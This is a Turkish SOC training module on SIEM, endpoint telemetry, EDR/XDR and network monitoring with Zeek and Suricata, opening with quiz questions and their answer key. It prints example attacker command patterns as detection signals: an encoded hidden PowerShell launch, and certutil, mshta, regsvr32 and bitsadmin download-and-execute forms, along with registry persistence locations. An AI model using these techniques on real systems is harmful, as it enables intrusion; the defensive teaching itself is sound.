8) Bir stajyer «Alert fatigue etkisi» hakkında «ezberledim, uygulamaya gerek yok» dedi. En doğru yanıt?

A) Araç adı yeterlidir

B) Yalnızca yöneticiler bilir

C) Kavramın pratikte nasıl uygulandığını ve hangi hatayı önlediğini açıklaması gerekir

D) Sadece sınavda sorulursa öğrenilir

Doğru: C
Gerekçe: «Alert fatigue etkisi» uygulama ve risk bağlamı olmadan anlamlı değildir.

9) «Purple team geri beslemesi» uygulanmadığı için bir olayda müdahale gecikti. Ekibin öncelikli düzeltmesi ne olmalıdır?

A) Purple team geri beslemesi için tanımlı kontrolü devreye almak ve süreci dokümante etmek

B) Tüm logları silmek

C) İnterneti kalıcı kapatmak

D) Yalnızca antivirüs imzasını güncellemek

Doğru: A
Gerekçe: Eksik kalan «Purple team geri beslemesi» doğrudan hedeflenmeli; diğer seçenekler sorunu çözmez.

10) Denetimde «Detection coverage ölçümü» için kanıt isteniyor. Hangi çıktı en uygundur?

A) Başka modülün raporu

B) Ekran görüntüsü olmadan varsayım

C) Politika, yapılandırma veya test sonucu ile uyum kanıtı

D) Sözlü «biliyoruz» ifadesi

Doğru: C
Gerekçe: «Detection coverage ölçümü» denetlenebilir kanıt gerektirir.

Bu Modülde Kazanılan Yetkinlikler

Bu modül, SIEM’i yalnızca “alarm üreten araç” olarak değil, SOC’un analiz, korelasyon, sorgulama ve detection geliştirme merkezi olarak okumayı öğretti.
Öğrenci artık SIEM’in neyi çözdüğünü ve neyi tek başına çözemeyeceğini ayırt edebilir. SIEM logları merkezi olarak toplar, sorgulama ve korelasyon sağlar, geçmişe dönük investigation imkânı sunar; ancak kötü veriyi iyi veri hâline getirmez, yanlış yazılmış kuralı düzeltmez ve bağlamı tek başına kuramaz.
Sorgulama mantığında alan bazlı arama, zaman penceresi, filtreleme, aggregation, join ve correlation yaklaşımları öğrenildi. Bir analist artık yalnızca “şu kullanıcıyı ara” düzeyinde değil, “bu kullanıcı hangi zamanda, hangi kaynak IP’den, hangi process zinciriyle, hangi başka olaylarla ilişkili göründü?” sorusunu sorabilecek analitik çerçeveye sahip olmalıdır.
KQL, SPL, EQL/ES|QL ve YARA-L gibi farklı platform dillerinin mantığı kavrandı. Platformlar farklı olsa da temel analitik düşünce benzerdir: veri kaynağını seç, alanları filtrele, zaman penceresini belirle, davranışı grupla, ilişkileri kur ve çıktıyı vaka kararına dönüştür.
Detection engineering yaşam döngüsü öğrenildi: fikir bir hipotezle başlar, tehdit davranışı analiz edilir, gerekli veri kaynakları belirlenir, kural yazılır, test edilir, tuning yapılır, production’a alınır, performansı izlenir ve gerektiğinde emekliye ayrılır.
Detection kural türleri ayırt edildi: threshold-based, correlation-based, sequence-based, rarity-based, anomaly-based, behavior-based ve risk-based detection yaklaşımları farklı ihtiyaçlara cevap verir. Tek bir kural türü her problemi çözmez; doğru use case için doğru detection mantığı seçilmelidir.
Temel SOC detection use case aileleri incelendi: Living off the Land, credential dumping, password spraying, brute force, lateral movement, persistence, privilege escalation, data exfiltration ve defense evasion. Her bir aile için hangi log kaynaklarına ve hangi alanlara bakılması gerektiği operasyonel bakışla ele alındı.
Detection kalitesini ölçmek için false positive, false negative, detection gap, detection coverage, rule ownership ve detection backlog kavramları işlendi. İyi bir SOC yalnızca çok sayıda kural yazan SOC değildir; kuralının neyi yakaladığını, neyi kaçırdığını, ne kadar false positive ürettiğini ve ne zaman bakım gerektirdiğini bilen SOC’tur.
Bu modülün temel mesajı şudur: SIEM üzerinde yazılan her sorgu bir analitik karardır; her detection kuralı da yaşayan bir operasyonel varlıktır. Kural yazıldıktan sonra iş bitmez. Kural izlenir, ölçülür, iyileştirilir, gerekirse devre dışı bırakılır. SOC’un gerçek olgunluğu, alarm üretme miktarıyla değil, doğru alarmı doğru veriyle, doğru bağlamda ve doğru zamanda üretebilmesiyle ölçülür.

Modül Teması

Endpoint

Process, kayıt defteri, dosya, bellek.

EDR/XDR

Davranışsal tespit ve yanıt.

Ağ Analizi

NDR, NetFlow, PCAP, DNS, TLS.

SOC analistinin ekranında görünen bir alarm, çoğu zaman yalnızca tek bir kaynaktan gelen sinyalin yüzeyidir. Alarmın arkasında ne olduğunu anlamak için endpoint üzerinde neler döndüğünü, ağda hangi bağlantıların kurulduğunu ve kimlik altyapısında hangi oturumların açıldığını birlikte okumak gerekir. Bu modül, öğrenciyi “alarm var, kapatayım” düzeyinden, “bu alarm hangi sürecin hangi davranışından kaynaklandı, ağda nasıl bir iz bıraktı, kullanıcı bu saatte bu sistemde ne işi vardı?” sorusunu soran analitik SOC düşüncesine taşır.

Temel eğitimde process, file, registry, EDR ve ağ trafiği kavramlarını tanıdınız. Bu modülde artık bu kavramları yalıtık birimler olarak değil, birbiriyle konuşan telemetri katmanları olarak okuyacaksınız. Bir EDR alarmında process tree’nin ne anlattığı, komut satırının hangi sinyalleri taşıdığı, XDR’ın EDR’dan neden daha fazlasını gördüğü, Zeek ile Suricata’nın ağda birbirini nasıl tamamladığı ve bir DNS sorgusunun C2 iletişiminin habercisi olabileceği; bunların tümü bu modülün çalışma alanıdır.

Modül, endpoint-network-identity korelasyonunu gerçek SOC investigation akışı içinde ele alır. Öğrenci, birden fazla veri kaynağından gelen sinyali birlikte okumanın, tekil alarmdan olay zincirine geçmenin ve pivot mantığının pratik değerini kavrar. Bu bilgi; triaj kararlarını hızlandırır, false positive yanılgısını azaltır ve eskalasyon kararını kanıta dayandırır.

Bu Modülde Hedeflenen Kazanımlar

Öğrenci bu modül sonunda:

Endpoint telemetrisinde process creation, parent-child ilişkisi, command line ve dosya/registry aktivitesini SOC soruşturması bağlamında analiz edebilecek.
EDR agent yapısını ve davranışsal tespit ile imza tabanlı tespit arasındaki operasyonel farkı kavrayarak EDR alarm triajını uygulayabilecek.
XDR’ın farklı güvenlik katmanlarından gelen sinyalleri nasıl ilişkilendirdiğini ve EDR’dan neden farklı bir görünürlük sağladığını açıklayabilecek.
NSM kavramını ve Zeek, Suricata, Arkime gibi araçların ağ analizi sürecindeki rollerini operasyonel düzeyde yorumlayabilecek.
DNS, HTTP/HTTPS ve şifreli trafik metadata analizini kullanarak olağan dışı ağ davranışlarını ve C2 sinyallerini fark edebilecek.
Bir olayı user, host, network ve process pivot teknikleriyle genişletebilecek ve zaman çizelgesi üzerinden saldırı zinciri çıkarabilecek.
False positive ile gerçek tehdit arasındaki farkı, birden fazla kaynaktan gelen kanıtı birleştirerek değerlendirebilecek.
Endpoint, network ve identity verilerini birlikte korele ederek anlamlı, kanıt destekli vaka notu ve eskalasyon kararı üretebilecek.

1. Endpoint Telemetry ile Uç Nokta Davranışlarını Analiz Etme

1.1 Endpoint Görünürlüğünün SOC İçin Önemi

Bir saldırgan kuruma sızdığında çoğu aktivitesini bir endpoint üzerinde yürütür. Payload çalıştırır, komut satırı açar, dosya yazar, registry değiştirir, ağa bağlanır ve başka sistemlere atlamaya çalışır. Bu eylemlerin her biri izlenebilir bir iz bırakır; ancak yalnızca doğru telemetri toplanıyorsa.

Endpoint görünürlüğünün SOC için kritik olmasının nedeni şudur: ağ trafiği genellikle yalnızca bağlantının gerçekleştiğini söyler, nedenini değil. Kimlik logları oturum açıldığını gösterir, ama oturum açıldıktan sonra ne yapıldığını değil. Endpoint telemetrisi bu iki kaynağın ortada kalan boşluğunu doldurur. Hangi process hangi komutu çalıştırdı, kim başlattı, neye bağlandı, ne yazdı; bunların hepsi endpoint üzerinde gözlemlenebilir.

Endpoint görünürlüğü olmayan bir SOC, saldırganın kurumun içine girdikten sonraki hareketini izleyemez. Ağdan bir şüpheli IP görür, ama arkasında hangi sürecin durduğunu bilemez. EDR veya Sysmon olmadan, “bağlantıyı kim başlattı?” sorusu yanıtsız kalır.

1.2 Process Creation Analiziyle Çalışan Süreçleri İnceleme

Bir süreç oluşturulduğunda SOC için en değerli anlık görüntülerden biri elde edilir. Bu anlık görüntü içinde şu alanlar bulunur: process name (hangi çalıştırılabilir dosya başlatıldı), command line (nasıl çağrıldı), parent process (kim başlattı), user context (hangi kullanıcı yetkisiyle çalışıyor), integrity level (hangi ayrıcalık seviyesinde), working directory (hangi dizinden çalıştırıldı) ve zaman damgası.

Bu alanların tamamı birlikte değerlendirildiğinde anlam kazanır. powershell.exe çalışması tek başına zararlı değildir; ancak parent process winword.exe ise ve command line içinde -EncodedCommand bayrağı varsa, tablonun tamamı farklı bir hikâye anlatır.

Mini Örnek:

process_name    : powershell.exe
command_line    : powershell.exe -nop -w hidden -EncodedCommand SQBFAFgA...
parent_process  : winword.exe
user            : testuser
integrity_level : High
working_dir     : C:\Users\testuser\AppData\Local\Temp
timestamp       : 2024-03-15T14:22:07Z

Bu tablo, bir Office belgesi üzerinden tetiklenen encode edilmiş PowerShell çalıştırmasını gösterir. Analiz için yeterli gösterge mevcuttur.

Dikkat: AppData\Local\Temp, ProgramData veya kullanıcı profili altındaki geçici dizinlerden başlayan çalıştırılabilir dosyalar dikkat gerektirir; ancak kurulum, güncelleme veya IT otomasyonu gibi meşru senaryolarla karşılaştırılarak değerlendirilmelidir.

1.3 Parent-Child Process İlişkisiyle Süreç Zincirini Anlama

Tek bir process’e bakarak karar vermek, bir cümlenin yalnızca ortasını okumak gibidir. Process tree, yani süreç zinciri, bir aktivitenin nasıl başladığını, nasıl devam ettiğini ve nereye vardığını gösterir.

Meşru bir process chain örüntüsü şöyle görünür: kullanıcı bir uygulamayı açar → uygulama bir belge yükler → belge içindeki meşru fonksiyon veya eklenti bir child process başlatır. Saldırgan kaynaklı bir chain ise çoğu zaman bu örüntüden sapar. explorer.exe → cmd.exe → net.exe → whoami.exe zinciri bağlama göre olağan dışı görünmeyebilir; ancak winword.exe → cmd.exe → powershell.exe → mshta.exe zinciri kesinlikle inceleme gerektirir.

İpucu: MITRE ATT&CK’ta birçok teknik, olağan dışı parent-child ilişkisi üzerinden tespit edilebilir. Örneğin T1059.001 – PowerShell tekniğinin EDR’da görünmesinin yaygın göstergelerinden biri, beklenmedik bir parent process’ten başlayan PowerShell çalıştırmasıdır.

SOC analistinin sorgulaması gereken soru şudur: “Bu süreç, bu parent’tan bu komutla başlaması beklenen bir süreç mi?” Yanıt “hayır” veya “bilmiyorum” ise araştırma derinleştirilmeli ve kanıt toplanmalıdır.

1.4 Command Line Analiziyle Şüpheli Komutları Değerlendirme

Command line analizi, endpoint güvenliğinde en yüksek analitik değeri taşıyan alanlardan biridir. Saldırganlar aracı değiştirip imzadan kaçabilirler; ancak bir görevi yerine getirmek için belirli parametreleri kullanmak zorundadırlar ve bu parametreler command line’da görünür.

SOC analistinin dikkat etmesi gereken başlıca sinyaller:

Encoding ve obfuscation: -EncodedCommand, FromBase64String, [char], $env: kombinasyonları, string concatenation yoluyla komut parçalama. Amaç, kural tabanlı tespitten kaçmak olabilir.

LOLBin kullanımı: certutil.exe -urlcache -split -f, mshta.exe http://..., regsvr32.exe /s /n /u /i:http://..., bitsadmin /transfer gibi meşru araçların beklenmedik şekilde kullanılması.

Beklenmedik parametreler: net.exe user administrator /domain, whoami /all, ipconfig /all, systeminfo gibi komutlar tek başına zararsızdır; ancak bir saldırı zincirinin keşif aşamasında sıklıkla görülür.

Analist Yorumu: Command line’ı analiz ederken hem içeriğe hem de bağlama bakın. Aynı komut IT sistem yöneticisinin çalıştırdığı bir maintenance script’inden geliyorsa ve çalışma saatleri içindeyse, değerlendirme farklı yönde ilerler. Aynı komut gece yarısı, ofis dışı bir cihazdan, yönetici olmayan bir kullanıcı yetkisiyle geliyorsa tablo değişir.

1.5 File Activity ile Dosya Davranışlarını İnceleme

Dosya oluşturma, değiştirme ve silme aktiviteleri saldırganın endpoint üzerinde bıraktığı en somut izlerden biridir. SOC açısından önemli dosya aktivite sinyalleri şunlardır:

Geçici dizinlere (%TEMP%, %APPDATA%, C:\ProgramData) yazılan çalıştırılabilir dosyalar.

İmzasız veya bilinen iyi dosyaların adını taklit eden binary’ler: svch0st.exe, lsacs.exe gibi.

Script dosyalarının (*.ps1, *.vbs, *.js, *.bat) beklenmedik konumlarda oluşturulması.

Şifreli veya sıkıştırılmış arşiv dosyalarının büyük veri bloklarıyla ani görünümü. Bu durum exfiltration hazırlığına işaret edebilir.

Güvenlik aracı ile ilgili dizinlere yapılan yazma denemeleri. Bu durum evasion girişimi olabilir.

Dikkat: Dosya silme aktivitesi de en az oluşturma kadar anlamlıdır. Windows tarafında uygun Object Access auditing ve SACL yapılandırması varsa Event ID 4663 belirli objelere erişim ve silme davranışlarında destekleyici sinyal sağlayabilir. Sysmon tarafında Event ID 23, silinen dosyayı arşivleyerek FileDelete olayı üretir; yüksek hacimli ortamlarda Event ID 26 gibi arşivlemeden silme tespiti sağlayan seçenekler de değerlendirilmelidir. Saldırganlar izlerini silmek için araç binary’lerini, staging dosyalarını ve log dosyalarını silmeye çalışabilir.

1.6 Registry Activity ile Sistem Kalıcılık İzlerini İnceleme

Registry, Windows sistemlerinde saldırganın kalıcılık sağlamak için sıkça başvurduğu yapılardan biridir. SOC açısından takip edilmesi gereken registry konumları şunlardır:

Registry Konumu (ASEP)	Güvenlik Etkisi ve Teknik Açıklama
`HKCU\Software\Microsoft\Windows\CurrentVersion\Run`	Kullanıcı Seviyesinde Kalıcılık: Sadece o anki kullanıcı (Current User) oturum açtığında belirtilen zararlı uygulamanın otomatik olarak başlatılmasını sağlar. Yönetici yetkisi (Admin rights) gerektirmez.
`HKLM\Software\Microsoft\Windows\CurrentVersion\Run`	Sistem Genelinde Kalıcılık: Sistemde oturum açan herhangi bir kullanıcı için uygulamanın otomatik başlatılmasını sağlar. Değiştirmek için yerel yönetici yetkisi gereklidir.
`HKLM\SYSTEM\CurrentControlSet\Services`	Servis Tabanlı Kalıcılık: Zararlı yazılımın bir Windows servisi olarak, sistem başlarken (kullanıcı oturum açmadan önce) `SYSTEM` yetkileriyle arka planda çalışmasını sağlar.
`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon` (Shell, Userinit, Notify değerleri)	Winlogon Persistence: Kullanıcı kimlik doğrulama ve masaüstü yükleme sürecini manipüle eder. Orijinal `explorer.exe` veya `userinit.exe` ile birlikte zararlı kodun da tetiklenmesini sağlar.
`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options`	Debugger Hijacking (IFEO): Belirli bir meşru program (örn: `sethc.exe`, `taskmgr.exe`) çağrıldığında, onun yerine belirtilen "hata ayıklayıcı" (debugger) programın (çoğunlukla `cmd.exe`) çalışmasını sağlar. Genellikle kilit ekranı bypass veya yetki yükseltme için kullanılır.

Registry değişiklikleri Sysmon Event ID 12, 13 ve 14 ile izlenebilir. Bir registry değişikliği zararlı mı, IT yönetimi değişikliği mi yoksa uygulama güncellemesi mi olduğunu anlamak için; değişikliği yapan süreç, kullanıcı bağlamı, değiştirilen anahtar ve zaman bilgisi birlikte değerlendirilmelidir.

Yanlış Bilinen: Registry değişikliklerinin tamamı şüpheli değildir. Bir yazılım kurulumu yüzlerce registry anahtarı oluşturabilir. SOC analistinin odağı, Run key’ler, Winlogon, IFEO ve servis kayıt anahtarları gibi persistence mekanizmalarıyla doğrudan ilişkili alanlardır.

1.7 Service Activity ile Servis Tabanlı Davranışları Analiz Etme

Windows servisleri, saldırganın hem kalıcılık sağlamak hem de ayrıcalıklı komutları yürütmek için kullandığı güçlü bir mekanizmadır. SOC açısından şüpheli servis aktivitesi şu şekillerde görünür:

Sistemle uyumlu olmayan bir isimle yeni servis oluşturulması.

Servis binary yolunun System32 yerine geçici dizinlere ya da kullanıcı profiline işaret etmesi.

Servisin SYSTEM yetkisiyle çalışması ancak meşru bir uygulama çalışma yolu olmaması.

Servisin oluşturulmasının, başka şüpheli komutların çalışmasıyla aynı zaman penceresine düşmesi.

Windows System Event ID 7045 / Service Control Manager logları, yeni servis kurulumu davranışını izlemek için kullanılır. Sysmon Event ID 1 ise process creation bağlamında services.exe altında başlatılan yeni binary’leri incelemek için değerlidir. Lateral movement sırasında da servis mekanizması sıklıkla kullanılır; örneğin PsExec, hedef sistemde geçici bir servis kaydı oluşturarak komutu çalıştırabilir.

2. EDR ile Endpoint Davranışlarını Tespit ve Yanıt Sürecine Taşıma

2.1 EDR Nedir?

Endpoint Detection and Response (EDR), bir endpoint üzerindeki süreç, dosya, ağ, registry ve kullanıcı aktivitelerini sürekli izleyen, şüpheli davranışları tespit eden ve analize olanak tanıyan güvenlik teknolojisidir. Kısaca: EDR, endpoint’i sürekli kayıt altında tutan, kamera işlevi gören ve kurala veya davranışa dayalı alarm üreten bir sistemdir.

Geleneksel antivirüs çoğunlukla bilinen kötü dosyaları tanımlayan imzalara dayanır; EDR ise davranışa daha fazla odaklanır. Bir dosya “iyi” görünse bile davranışı şüpheliyse EDR alarm üretebilir.

2.2 EDR Agent Yapısı Nasıl Çalışır?

EDR agent, endpoint işletim sistemi üzerinde process, dosya, registry, ağ bağlantısı ve kullanıcı aktivitelerine ilişkin telemetri toplar. Bunu ürününe göre kernel driver, işletim sistemi event kaynakları, ETW, API hook/sensor mekanizmaları ve cloud analitik bileşenleriyle gerçekleştirebilir. Bu telemetri yerel analiz motoruyla veya merkezi/cloud tabanlı analiz katmanıyla değerlendirilir ve bulgular yönetim konsoluna iletilir.

Agent’ın kritik olduğu nokta şudur: EDR agent çalışmıyorsa, tamper protection devre dışıysa veya saldırgan tarafından engellenebilmişse, o endpoint kör noktaya dönüşür. Bu yüzden “EDR agent health” — yani tüm kritik sistemlerde agent’ın aktif çalışıp çalışmadığı — SOC’un günlük operasyonel sağlık kontrollerinden biridir.

Güvenli Alışkanlık: Kritik sunucularda EDR agent durumunu düzenli kontrol edin. Tamper protection özelliğinin aktif olduğunu doğrulayın. Bir endpoint’ten uzun süredir telemetri gelmiyorsa bu durum hem teknik sorun hem de potansiyel güvenlik sinyali olabilir.

2.3 Behavioral Detection ile Davranışsal Tespit Yaklaşımı

Behavioral detection, bir dosyanın hash’ine veya imzasına değil, bir sürecin ne yaptığına odaklanır. Saldırganlar dosya hash’lerini kolayca değiştirebilir; ancak amaçlarını yerine getirmek için belirli davranış kalıplarını tekrar etmek zorunda kalırlar.

Örneğin: PowerShell’i encode edilmiş komutla çalıştırmak → LSASS’a erişim sağlamak → network bağlantısı kurmak. Bu davranış zincirinin her adımı farklı hash içerebilir; ancak davranışın örüntüsü kalıcıdır. Behavioral detection bu örüntüyü yakalar.

EDR platformları bu davranışları genellikle kendi threat library’leri, davranışsal kuralları veya makine öğrenmesi modelleriyle sınıflandırır ve alarmı belirli bir teknikle ilişkilendirir.

2.4 Signature-Based Detection ile Bilinen Tehditleri Yakalama

Signature-based detection, bilinen kötü dosyalar, hash değerleri, YARA benzeri dosya imzaları veya belirli string kalıplarına dayalı tespittir. Bilinen tehditleri hızlı yakalamada güçlüdür. Hash tabanlı eşleşmeler genellikle daha kesin sonuç verir; ancak string, YARA veya geniş pattern tabanlı imzalar yanlış pozitif üretebilir.

Sınırlılığı ise açıktır: daha önce görülmemiş veya hafifçe değiştirilmiş tehditleri yakalayamayabilir. Bu yüzden EDR platformları imza tabanlı ve davranışsal tespiti birlikte kullanır. Birini diğerinin yerine geçirmeye çalışmak her iki yaklaşımın da zayıf noktalarını açık bırakır.

2.5 Endpoint Timeline ile Olay Akışını Görme

Endpoint timeline, bir sistem üzerinde gerçekleşen olayları kronolojik sıraya dizerek saldırı zincirinin bütünüyle görülmesini sağlar. İyi bir EDR platformu şunları zaman sırasıyla listeler: process başlatma, dosya oluşturma/değiştirme, registry değişikliği, ağ bağlantısı, authentication olayları ve alarm tetiklenmeleri.

Bu görünüm SOC analistine şu soruları cevaplamasını sağlar: Saldırı ne zaman başladı? Alarm tetiklenmeden önce ne oldu? Alarm tetiklendikten sonra başka aktivite var mı? Kaç dakika içinde ne kadar sistem aktivitesi gerçekleşti?

Analist Yorumu: Timeline analizi, “bu alarm gerçek mi?” sorusundan “bu alarm hangi hikâyenin parçası?” sorusuna geçişi sağlar. Tekil bir alarm birkaç dakika içinde yüzlerce olayla çevreleniyor olabilir ve timeline bunları bir bütün olarak gösterir.

2.6 EDR Alert Triajı ile Endpoint Alarmını Değerlendirme

Bir EDR alarmı geldiğinde triaj şu sırayla ilerler:

1. Severity ve confidence değerini oku: Yüksek severity + yüksek confidence → önce bak. Düşük confidence → başka kanıt bulmadan kesin karar verme.
2. Etkilenen varlığı değerlendir: Bu endpoint kritik bir sunucu mu, domain controller mı, yoksa standart bir iş istasyonu mu? Etki yüzeyi değişir.
3. User context’i incele: Bu kullanıcının bu saatte bu işlemi yapması bekleniyor mu? Kullanıcı IT yöneticisi mi, normal bir çalışan mı?
4. Process chain’i gözden geçir: Parent process meşru mu? Command line’da şüpheli argüman var mı?
5. Network connection var mı? Süreç dışarıya bağlantı kurdu mu? Hangi adrese, hangi porta, ne kadar veri gönderdi?
6. EDR’ın önerilen aksiyonuna bak: Bazı EDR’lar isolate, terminate, quarantine gibi öneriler sunar. Bu önerilere doğrudan uymayın; önce analizi tamamlayın. False positive bir endpoint’i izole etmek operasyonel zarar yaratır.

3. XDR ile Çoklu Güvenlik Kaynağını Birlikte Analiz Etme

3.1 XDR Nedir?

Extended Detection and Response (XDR), desteklediği ve entegre edilmiş kaynaklardan gelen endpoint, email, network, kimlik, cloud workload ve SaaS sinyallerini tek bir analiz yüzeyinde ilişkilendirmeyi amaçlayan platform yaklaşımıdır. Amaç, bir saldırıyı yalnızca endpoint perspektifinden değil, saldırının dokunduğu tüm katmanların birleşik görünümünden analiz edebilmektir.

XDR’ın görünürlüğü, ürünün kapsamına ve kaynak entegrasyonlarının sağlığına bağlıdır. Bir kaynak XDR’a bağlı değilse veya veri kalitesi düşükse, XDR’ın korelasyon kabiliyeti de sınırlı kalır.

3.2 XDR ile EDR Arasındaki Fark Nedir?

EDR, endpoint üzerindeki süreci, dosyayı, ağ bağlantısını ve davranışı izler. Temel odağı endpoint’tir. XDR ise aynı anda endpoint, email güvenliği, kimlik platformu, network, cloud ve SaaS kaynaklarından gelen sinyalleri birbirine bağlamayı hedefler.

Pratik fark şudur: EDR, “bu endpoint’te şüpheli PowerShell çalıştı” der. XDR, “bu kullanıcıya aynı gün phishing email geldi, beş dakika sonra PowerShell çalıştı, ardından yeni bir OAuth token oluşturuldu ve cloud storage’a büyük miktarda dosya yüklendi” hikâyesini bir arada sunabilir.

Yanlış Bilinen: XDR, EDR’ı gereksiz kılmaz. Aksine XDR, EDR’ın topladığı endpoint telemetrisine başka katmanların verisini ekler. Endpoint verisinin kalitesi düşükse XDR korelasyonu da zayıf olur.

3.3 XDR Correlation ile Farklı Sinyalleri İlişkilendirme

XDR’ın en güçlü yanı, aynı varlık (kullanıcı, host, IP, dosya hash) üzerinden birden fazla kaynaktan gelen olayları otomatik olarak ilişkilendirmesidir. Aynı kullanıcı adı farklı sistemlerde görünüyorsa, aynı IP birden fazla kaynakta geçiyorsa veya aynı dosya hash’i email attachment’ında ve endpoint process’inde birlikte görünüyorsa, XDR bu bağlantıyı korelasyon motoru aracılığıyla bir incident’e dönüştürebilir.

Bu korelasyon, analistin manuel olarak farklı konsollar arasında geçip aynı soruşturmayı yapmak yerine, olayı bütünlüklü bir görünümden başlatmasını sağlar.

3.4 XDR Investigation ile Çok Kaynaklı Olay İnceleme

XDR investigation akışında analist, bir alarm üzerinden birden fazla katmanı aynı anda görür. Tipik bir XDR soruşturması şöyle ilerler:

Endpoint alarmı tetiklenir: şüpheli process başlatma.

XDR aynı kullanıcının aynı gün aldığı email alarmını otomatik ilişkilendirir.

Kimlik katmanından aynı zaman penceresinde MFA challenge’ın başarısız olduğu görülür.

Network katmanından bu süreçten gelen dış bağlantı görünür.

Analist tek bir olay ekranında bu dört katmanı bir arada görür ve soruşturmayı bu bütünleşik kanıt üzerinden yürütür.

3.5 XDR’ın Sınırlılıklarını Doğru Değerlendirme

XDR, entegre ettiği kaynaklardan daha fazlasını göremez. Eğer bir log kaynağı XDR’a bağlı değilse, XDR o kaynaktan gelen olayı korelasyon dışında bırakır. Aynı şekilde kalitesiz veri veya hatalı normalizasyon, korelasyon motorunun yanlış sonuçlar üretmesine yol açar.

Bazı XDR platformları “everything in one” olarak pazarlanır; ancak pratik SOC operasyonunda her kaynağın doğru şekilde entegre edildiğini, telemetri kalitesinin yeterli olduğunu ve korelasyon mantığının tune edildiğini doğrulamak analistin sorumluluğundadır.

4. Ağ Trafiği Analizi ve Network Security Monitoring

4.1 NSM Nedir?

Network Security Monitoring (NSM), ağdaki trafiği yalnızca trafik olarak değil, güvenlik sinyali olarak izleme pratiğidir. NSM’in odağı yalnızca paket yakalamak değildir; ağ davranışını anlamlandırmak için flow, session metadata, protokol logları, IDS alarmı ve gerektiğinde full packet capture verisini birlikte kullanır.

Kim kimle konuştu, ne zaman, ne sıklıkta, hangi protokolde, hangi hacimde? Bu sorulara verilen yanıtlar, endpoint telemetrisinin göremediği yanal hareketleri, dış bağlantıları ve şifreli kanal istismarlarını ortaya çıkarabilir.

NSM için üç temel araç öne çıkar: Zeek (protokol analizi ve oturum logları), Suricata (imza tabanlı IDS/IPS alarmları) ve Arkime (session ve paket arşivleme). Bu üç araç birbirini tamamlar; biri alarm üretir, diğeri bağlamı sağlar, üçüncüsü ham pakete veya oturum verisine erişim sunar.

4.2 Zeek ile Ağ Oturumlarını Anlamlandırma

Zeek, ağ trafiğini protokol seviyesinde analiz ederek yapılandırılmış log dosyaları üretir. Her protokol için ayrı bir log dosyası vardır ve bu loglar SOC’un SIEM’e besleyebileceği zengin içeriğe sahiptir.

Log Dosyası (Zeek/Bro)	İçerik ve Detaylar	SOC Analizi ve Tehdit Avcılığı Kullanımı
conn.log	Tüm ağ bağlantıları: Kaynak/hedef IP, port, protokol, aktarılan bayt (bytes) ve bağlantı süresi (duration).	Anormal bağlantı hacimleri (veri sızdırma), uzun süreli açık bağlantılar ve C2 beaconing (düzenli sinyal) analizi.
dns.log	DNS sorgu ve yanıtları: Query (sorgu), response (cevap), TTL ve kayıt tipi (A, AAAA, TXT vb.).	DGA (Domain Generation Algorithm) tespiti, DNS tunneling (özellikle TXT kayıtlarıyla veri sızdırma) ve zararlı domain iletişimi.
http.log	HTTP trafiği metadatası: HTTP metodu (GET/POST), URI, User-Agent, durum kodu ve yanıt boyutu.	Web tabanlı Komuta Kontrol (C2) iletişimi, alışılmadık User-Agent string'leri (örn: PowerShell/Curl) ve web açığı istismarları.
ssl.log	TLS/SSL bağlantı detayları: SNI (Server Name Indication), TLS versiyonu, şifreleme suiti (cipher) ve sertifika zinciri.	Şifreli C2 trafiğinin analizi (JA3/JA3S fingerprinting üzerinden) ve eski/zayıf TLS versiyonlarının tespiti.
x509.log	Sertifika özellikleri: Subject, Issuer (Veren makam), geçerlilik süresi ve X.509 standart detayları.	Self-signed (kendinden imzalı) sertifikalar ile şüpheli veya yeni oluşturulmuş sahte sertifikaların (Impersonation) incelenmesi.
files.log	Ağ üzerinden transfer edilen dosyaların kimlik bilgileri: Dosya hash'leri, MIME türleri ve kaynakları.	Ağ üzerinden zararlı yazılım (Malware) indirilmesinin veya hassas ofis dokümanlarının dışarı sızdırılmasının tespiti.
weird.log	Ağ protokolü ihlalleri, hatalı biçimlendirilmiş paketler ve beklenmeyen trafik davranışları.	IDS/IPS sistemlerini atlatma (Evasion) girişimleri, standart dışı port/protokol kullanımı ve sıfırıncı gün (0-day) trafik anomalileri.

SOC Perspektifi: conn.log, threat hunting için en değerli başlangıç noktalarından biridir. Bir host aynı dış IP’ye düzenli aralıklarla küçük miktarda veri gönderiyorsa beaconing ihtimali araştırılmalıdır. weird.log ise standart olmayan protokol kullanımını işaret eder; bu dosyaya çoğu zaman gereği kadar dikkat edilmez.

4.3 Suricata ile IDS/IPS Tabanlı Ağ Alarmı Üretme

Suricata, ağ trafiğini bilinen saldırı imzaları, protokol anomalileri ve özel kurallarla karşılaştırarak alarm üreten bir motor olarak çalışır. IDS modunda yalnızca alarm üretir; IPS modunda trafiği engelleyebilir.

Suricata’nın EVE JSON formatında ürettiği çıktı, SIEM’e beslenebilir yapıdadır. Her alarm şu alanları içerebilir: event_type, alert.signature, alert.category, alert.severity, src_ip, dest_ip, proto, timestamp.

Dikkat: Suricata imza kalitesi, kullanılan rule set’e bağlıdır. Emerging Threats, ET Pro veya özelleştirilmiş kurallar kullanılabilir. Güncel olmayan kural setleri hem false positive hem de false negative oranını artırır. SOC ekibi, ağ alarm kalitesini Suricata’nın hangi kural setini kullandığını ve ne kadar güncel olduğunu bilerek değerlendirmelidir.

4.4 Arkime ile Paket ve Session Arama Mantığı

Arkime (eski adıyla Moloch), ağ oturumlarının ve ham paketlerin arşivlendiği, aranabilir ve indekslenebilir bir depolama sistemidir. SOC’ta Arkime’ın rolü şudur: bir şüpheli bağlantı tespit edildiğinde, o bağlantıya ait session/PCAP verisine dönerek daha derin inceleme yapabilmek.

Zeek size “bu host şu adrese bağlandı” der. Arkime ise full packet capture yapılandırılmışsa ve retention içinde veri varsa ilgili oturuma ait PCAP/session verisine dönmeyi sağlar. Cleartext trafikte içerik incelenebilir; şifreli trafikte ise payload yerine metadata, oturum süresi, boyut, paket sayısı ve endpoint/sertifika bağlamı analiz edilir.

4.5 DNS Analiziyle Gizli İletişim ve Anomali Arama

DNS, ağda en fazla saldırıya konu olan protokollerden biridir; çünkü neredeyse her güvenlik duvarı DNS trafiğine izin verir ve içeriğini çoğu kurumda derinlemesine incelemek ihmal edilir.

SOC açısından kritik DNS anomali sinyalleri:

DGA (Domain Generation Algorithm): Zararlı yazılımlar rastgele görünen domain adları oluşturur. Bu domainler yüksek entropy’ye sahiptir ve insan tarafından okunabilir değildir. xkg8rp2mva4l.example.com gibi adresler DGA şüphesi doğurur.

